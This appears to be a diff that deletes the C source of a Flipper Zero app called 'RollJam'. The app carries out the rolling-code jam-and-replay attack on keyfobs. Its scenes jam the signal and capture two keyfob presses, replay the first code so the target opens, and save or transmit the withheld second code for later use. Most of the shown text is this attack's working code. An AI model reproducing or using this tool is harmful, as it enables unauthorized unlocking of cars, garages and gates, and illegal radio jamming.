scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
rolljam_app_free(app);
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
|
||||
return 0;
|
||||
}
|
||||
@@ -1,158 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/popup.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/widget.h>
|
||||
#include <gui/modules/dialog_ex.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <storage/storage.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "RollJam"
|
||||
|
||||
#define RAW_SIGNAL_MAX_SIZE 4096
|
||||
|
||||
// ============================================================
|
||||
// Frequencies
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
FreqIndex_300_00 = 0,
|
||||
FreqIndex_303_87,
|
||||
FreqIndex_315_00,
|
||||
FreqIndex_318_00,
|
||||
FreqIndex_390_00,
|
||||
FreqIndex_433_07,
|
||||
FreqIndex_433_92,
|
||||
FreqIndex_434_42,
|
||||
FreqIndex_438_90,
|
||||
FreqIndex_868_35,
|
||||
FreqIndex_915_00,
|
||||
FreqIndex_COUNT,
|
||||
} FreqIndex;
|
||||
|
||||
extern const uint32_t freq_values[];
|
||||
extern const char* freq_names[];
|
||||
|
||||
// ============================================================
|
||||
// Modulations
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
ModIndex_AM650 = 0,
|
||||
ModIndex_AM270,
|
||||
ModIndex_FM238,
|
||||
ModIndex_FM476,
|
||||
ModIndex_COUNT,
|
||||
} ModIndex;
|
||||
|
||||
extern const char* mod_names[];
|
||||
|
||||
// ============================================================
|
||||
// Jam offsets
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
JamOffIndex_300k = 0,
|
||||
JamOffIndex_500k,
|
||||
JamOffIndex_700k,
|
||||
JamOffIndex_1000k,
|
||||
JamOffIndex_COUNT,
|
||||
} JamOffIndex;
|
||||
|
||||
extern const uint32_t jam_offset_values[];
|
||||
extern const char* jam_offset_names[];
|
||||
|
||||
// ============================================================
|
||||
// Hardware type
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
HwIndex_CC1101 = 0,
|
||||
HwIndex_FluxCapacitor,
|
||||
HwIndex_COUNT,
|
||||
} HwIndex;
|
||||
|
||||
extern const char* hw_names[];
|
||||
|
||||
// ============================================================
|
||||
// Scenes
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamSceneMenu,
|
||||
RollJamSceneAttackPhase1,
|
||||
RollJamSceneAttackPhase2,
|
||||
RollJamSceneAttackPhase3,
|
||||
RollJamSceneResult,
|
||||
RollJamSceneCount,
|
||||
} RollJamScene;
|
||||
|
||||
// ============================================================
|
||||
// Views
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamViewVarItemList,
|
||||
RollJamViewWidget,
|
||||
RollJamViewDialogEx,
|
||||
RollJamViewPopup,
|
||||
} RollJamView;
|
||||
|
||||
// ============================================================
|
||||
// Custom events
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamEventStartAttack = 100,
|
||||
RollJamEventSignalCaptured,
|
||||
RollJamEventPhase3Done,
|
||||
RollJamEventReplayNow,
|
||||
RollJamEventSaveSignal,
|
||||
RollJamEventBack,
|
||||
} RollJamEvent;
|
||||
|
||||
// ============================================================
|
||||
// Raw signal container
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
int16_t data[RAW_SIGNAL_MAX_SIZE];
|
||||
size_t size;
|
||||
bool valid;
|
||||
} RawSignal;
|
||||
|
||||
// ============================================================
|
||||
// Main app struct
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
NotificationApp* notification;
|
||||
Storage* storage;
|
||||
|
||||
VariableItemList* var_item_list;
|
||||
Widget* widget;
|
||||
DialogEx* dialog_ex;
|
||||
Popup* popup;
|
||||
|
||||
FreqIndex freq_index;
|
||||
ModIndex mod_index;
|
||||
JamOffIndex jam_offset_index;
|
||||
HwIndex hw_index;
|
||||
uint32_t frequency;
|
||||
uint32_t jam_frequency;
|
||||
uint32_t jam_offset_hz;
|
||||
|
||||
RawSignal signal_first;
|
||||
RawSignal signal_second;
|
||||
|
||||
bool jamming_active;
|
||||
FuriThread* jam_thread;
|
||||
volatile bool jam_thread_running;
|
||||
|
||||
volatile bool raw_capture_active;
|
||||
|
||||
|
||||
} RollJamApp;
|
||||
|
Before Width: | Height: | Size: 220 B |
@@ -1,9 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
// Icon assets are auto-generated by the build system
|
||||
// from the images/ folder. If no custom icons are needed,
|
||||
// this file can remain minimal.
|
||||
|
||||
// If you place .png files in an images/ folder,
|
||||
// the build system generates icon references automatically.
|
||||
// Access them via &I_iconname
|
||||
@@ -1,27 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
// Scene on_enter
|
||||
void rolljam_scene_menu_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase1_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase2_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context);
|
||||
void rolljam_scene_result_on_enter(void* context);
|
||||
|
||||
// Scene on_event
|
||||
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
|
||||
|
||||
// Scene on_exit
|
||||
void rolljam_scene_menu_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase1_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase2_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase3_on_exit(void* context);
|
||||
void rolljam_scene_result_on_exit(void* context);
|
||||
|
||||
// Scene manager handlers (defined in rolljam.c)
|
||||
extern const SceneManagerHandlers rolljam_scene_handlers;
|
||||
@@ -1,126 +0,0 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 1: JAM + CAPTURE first keyfob press
|
||||
// ============================================================
|
||||
|
||||
static void phase1_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_first.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_first)) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Starting...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
rolljam_jammer_start(app);
|
||||
furi_delay_ms(300);
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
if(app->jamming_active) {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
|
||||
} else {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "No ext jammer");
|
||||
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
|
||||
}
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Listening for keyfob");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 42, AlignCenter, AlignTop,
|
||||
FontPrimary, "PRESS KEYFOB NOW");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_blue_100);
|
||||
|
||||
FuriTimer* timer = furi_timer_alloc(
|
||||
phase1_timer_callback, FuriTimerTypePeriodic, app);
|
||||
furi_timer_start(timer, 300);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
if(!rolljam_signal_is_valid(&app->signal_first)) {
|
||||
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
(int)app->signal_first.size);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase1_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase1);
|
||||
if(timer) {
|
||||
furi_timer_stop(timer);
|
||||
furi_timer_free(timer);
|
||||
}
|
||||
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -1,110 +0,0 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 2: JAM + CAPTURE second keyfob press
|
||||
// ============================================================
|
||||
|
||||
static void phase2_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_second.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_second)) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase2_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 2 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "1st code CAPTURED!");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Still jamming...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 42, AlignCenter, AlignTop,
|
||||
FontPrimary, "PRESS KEYFOB AGAIN");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_yellow_100);
|
||||
|
||||
FuriTimer* timer = furi_timer_alloc(
|
||||
phase2_timer_callback, FuriTimerTypePeriodic, app);
|
||||
furi_timer_start(timer, 300);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
if(!rolljam_signal_is_valid(&app->signal_second)) {
|
||||
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
(int)app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase2_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
if(timer) {
|
||||
furi_timer_stop(timer);
|
||||
furi_timer_free(timer);
|
||||
}
|
||||
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -1,64 +0,0 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 3: STOP jam + REPLAY first signal
|
||||
// The victim device opens. We keep the 2nd (newer) code.
|
||||
// ============================================================
|
||||
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 3 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 18, AlignCenter, AlignTop,
|
||||
FontSecondary, "Stopping jammer...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 32, AlignCenter, AlignTop,
|
||||
FontPrimary, "REPLAYING 1st CODE");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 48, AlignCenter, AlignTop,
|
||||
FontSecondary, "Target should open!");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_green_100);
|
||||
|
||||
rolljam_jammer_stop(app);
|
||||
|
||||
furi_delay_ms(1000);
|
||||
|
||||
rolljam_transmit_signal(app, &app->signal_first);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
furi_delay_ms(800);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventPhase3Done);
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventPhase3Done) {
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneResult);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase3_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
/*
|
||||
* Scene configuration file.
|
||||
* Lists all scenes for the SceneManager.
|
||||
*
|
||||
* In some Flipper apps this uses ADD_SCENE macros.
|
||||
* We handle it manually via the handlers arrays in rolljam.c
|
||||
* so this file just documents the scene list.
|
||||
*
|
||||
* Scenes:
|
||||
* 0 - RollJamSceneMenu
|
||||
* 1 - RollJamSceneAttackPhase1
|
||||
* 2 - RollJamSceneAttackPhase2
|
||||
* 3 - RollJamSceneAttackPhase3
|
||||
* 4 - RollJamSceneResult
|
||||
*/
|
||||
@@ -1,161 +0,0 @@
|
||||
#include "rolljam_scene.h"
|
||||
|
||||
// ============================================================
|
||||
// Menu scene: select frequency, modulation, start attack
|
||||
// ============================================================
|
||||
|
||||
static uint8_t get_min_offset_index(uint8_t mod_index) {
|
||||
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
|
||||
return JamOffIndex_300k;
|
||||
}
|
||||
|
||||
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(app->jam_offset_index < min_idx) {
|
||||
app->jam_offset_index = min_idx;
|
||||
app->jam_offset_hz = jam_offset_values[min_idx];
|
||||
if(offset_item) {
|
||||
variable_item_set_current_value_index(offset_item, min_idx);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
|
||||
}
|
||||
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
|
||||
jam_offset_names[min_idx]);
|
||||
}
|
||||
}
|
||||
|
||||
static VariableItem* s_offset_item = NULL;
|
||||
|
||||
static void menu_freq_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->freq_index = index;
|
||||
app->frequency = freq_values[index];
|
||||
variable_item_set_current_value_text(item, freq_names[index]);
|
||||
}
|
||||
|
||||
static void menu_mod_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->mod_index = index;
|
||||
variable_item_set_current_value_text(item, mod_names[index]);
|
||||
|
||||
enforce_min_offset(app, s_offset_item);
|
||||
}
|
||||
|
||||
static void menu_jam_offset_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(index < min_idx) {
|
||||
index = min_idx;
|
||||
variable_item_set_current_value_index(item, index);
|
||||
}
|
||||
|
||||
app->jam_offset_index = index;
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
variable_item_set_current_value_text(item, jam_offset_names[index]);
|
||||
}
|
||||
|
||||
static void menu_hw_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->hw_index = index;
|
||||
variable_item_set_current_value_text(item, hw_names[index]);
|
||||
}
|
||||
|
||||
static void menu_enter_callback(void* context, uint32_t index) {
|
||||
RollJamApp* app = context;
|
||||
if(index == 4) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventStartAttack);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_menu_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
|
||||
// --- Frequency ---
|
||||
VariableItem* freq_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Frequency",
|
||||
FreqIndex_COUNT,
|
||||
menu_freq_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(freq_item, app->freq_index);
|
||||
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
|
||||
|
||||
// --- Modulation ---
|
||||
VariableItem* mod_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Modulation",
|
||||
ModIndex_COUNT,
|
||||
menu_mod_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(mod_item, app->mod_index);
|
||||
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
|
||||
|
||||
// --- Jam Offset ---
|
||||
VariableItem* offset_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Jam Offset",
|
||||
JamOffIndex_COUNT,
|
||||
menu_jam_offset_changed,
|
||||
app);
|
||||
|
||||
s_offset_item = offset_item;
|
||||
enforce_min_offset(app, offset_item);
|
||||
|
||||
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
|
||||
|
||||
// --- Hardware ---
|
||||
VariableItem* hw_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Hardware",
|
||||
HwIndex_COUNT,
|
||||
menu_hw_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(hw_item, app->hw_index);
|
||||
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
|
||||
|
||||
// --- Start button ---
|
||||
variable_item_list_add(
|
||||
app->var_item_list,
|
||||
">> START ATTACK <<",
|
||||
0,
|
||||
NULL,
|
||||
app);
|
||||
|
||||
variable_item_list_set_enter_callback(
|
||||
app->var_item_list, menu_enter_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewVarItemList);
|
||||
}
|
||||
|
||||
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventStartAttack) {
|
||||
enforce_min_offset(app, NULL);
|
||||
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
memset(&app->signal_second, 0, sizeof(RawSignal));
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase1);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_menu_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
s_offset_item = NULL;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||
@@ -1,110 +0,0 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
|
||||
// ============================================================
|
||||
|
||||
static void result_dialog_callback(DialogExResult result, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(result == DialogExResultLeft) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSaveSignal);
|
||||
} else if(result == DialogExResultRight) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventReplayNow);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_result_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
dialog_ex_reset(app->dialog_ex);
|
||||
|
||||
dialog_ex_set_header(
|
||||
app->dialog_ex, "Attack Complete!",
|
||||
64, 2, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_text(
|
||||
app->dialog_ex,
|
||||
"1st code: SENT to target\n"
|
||||
"2nd code: IN MEMORY\n\n"
|
||||
"What to do with 2nd?",
|
||||
64, 18, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
|
||||
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
|
||||
|
||||
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
|
||||
dialog_ex_set_context(app->dialog_ex, app);
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewDialogEx);
|
||||
}
|
||||
|
||||
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSaveSignal) {
|
||||
|
||||
rolljam_save_signal(app, &app->signal_second);
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Saved!",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup,
|
||||
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
popup_set_timeout(app->popup, 5000);
|
||||
popup_enable_timeout(app->popup);
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
return true;
|
||||
|
||||
} else if(event.event == RollJamEventReplayNow) {
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Transmitting...",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup, "Sending 2nd code NOW",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
rolljam_transmit_signal(app, &app->signal_second);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
popup_set_header(
|
||||
app->popup, "Done!",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup,
|
||||
"2nd code transmitted!\n\nPress Back",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
popup_set_timeout(app->popup, 5000);
|
||||
popup_enable_timeout(app->popup);
|
||||
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_result_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
dialog_ex_reset(app->dialog_ex);
|
||||
popup_reset(app->popup);
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
#include "rolljam_attack_view.h"
|
||||
#include <gui/canvas.h>
|
||||
|
||||
// ============================================================
|
||||
// Custom drawing for attack status
|
||||
// Reserved for future use with a custom View
|
||||
// Currently the app uses Widget modules instead
|
||||
// ============================================================
|
||||
|
||||
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
|
||||
canvas_clear(canvas);
|
||||
|
||||
// Title bar
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
|
||||
|
||||
// Separator
|
||||
canvas_draw_line(canvas, 0, 14, 128, 14);
|
||||
|
||||
// Status
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
|
||||
|
||||
// Indicators
|
||||
int y = 32;
|
||||
|
||||
if(state->jamming) {
|
||||
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
|
||||
// Animated dots could go here
|
||||
} else {
|
||||
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
|
||||
}
|
||||
y += 12;
|
||||
|
||||
if(state->capturing) {
|
||||
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
|
||||
} else {
|
||||
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
|
||||
}
|
||||
y += 12;
|
||||
|
||||
// Signal counter
|
||||
char buf[32];
|
||||
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
|
||||
canvas_draw_str(canvas, 4, y, buf);
|
||||
|
||||
// Footer
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
